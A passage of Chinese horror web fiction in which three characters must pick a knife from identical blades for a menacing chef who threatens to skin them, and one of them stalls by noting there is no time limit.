“当然了。”林沅走着忽然扭头对李谌恶劣一笑,“还是说你想变成它皮下的东西?” 李谌想到李大厨皮下的凹凸,吓得连忙跑上擂台,“我不要我不要!” 林沅:“......” 真不禁吓。 “镇上最好的刀都在这儿了。”李大厨将他们一个个看过去,但走到李谌面前时面上却浮现出一抹嫌弃,它迅速绕开了他,“你们就从这里面为我选一把刀吧!” 彦歌围着贴桌走了一圈,将每把刀都仔细看过一遍后站回原地。 “彦姐,有眉目了?”李谌见彦歌一脸淡定,眉梢一喜。 谁知彦歌却摇了摇头,“没有。” 这些刀皆是黑把长宽刃,每把都一模一样,放消消乐里能一把全消了,她能看出什么来? 她又不是孙悟空。 “选不出来吗?”李大厨狞笑着靠近彦歌,“选不出来可是要......” 彦歌抬手阻止李大厨的靠近,“谁说我们没选出来?你又没说有时间限制,急什么,好刀需细选。” “......” 李大厨僵在原地,气的皮直抖,“......你说得对!” 但李大厨能敷衍一时,却无法敷衍一世。 彦歌看向李大厨阴沉的双眼,它正等着合适的时机剥他们的皮呢。